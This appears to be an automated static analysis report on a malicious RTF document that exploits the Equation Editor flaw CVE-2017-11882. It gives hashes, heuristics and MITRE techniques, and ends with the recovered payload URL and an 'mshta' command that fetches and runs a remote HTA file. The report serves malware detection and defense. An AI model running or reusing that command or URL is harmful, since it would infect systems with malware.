Malicious RTF — malware analysis report

Static analysis result for SHA-256 94d70cd2c59c0eeb…

MALICIOUS

RTF

8.4 KB Authoring application: Riched20 6.3.9600 First seen: 2019-05-10
MD5: c4fcc40ffc8a4188703198d2eff5d80f SHA-1: e848704160a27fdb7afb9bcce6384df3bc066f60 SHA-256: 94d70cd2c59c0eebfc1e60b22e337b2d7505c50488cb045da144af6f0ec0f008
382 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF document contains an embedded Equation Editor OLE object that exploits CVE-2017-11882. This vulnerability allows for arbitrary code execution when the object is activated, likely leading to the download and execution of a secondary payload from the provided URL. The presence of shellcode and command strings within the extracted artifact further supports this attack vector.

Heuristics 9

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
  • Equation Editor object class critical RTF_OBJCLASS_EQUATION
    Object class 'equation.3' references Equation Editor
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://s3.amazonaws.com/icee/QazT.hta In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off000000fe.bin rtf-objdata-decoded RTF \objdata at offset 0xFE 3546 bytes
SHA-256: 38c1bcb258c6ac0cb31f77b2bf37efb66e465a6b843bafa2aa3e276da7afa05b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): https://s3.amazonaws.com/icee/QazT.hta Static shellcode analysis recovered command string(s): mshta https://s3.amazonaws.com/icee/QazT.hta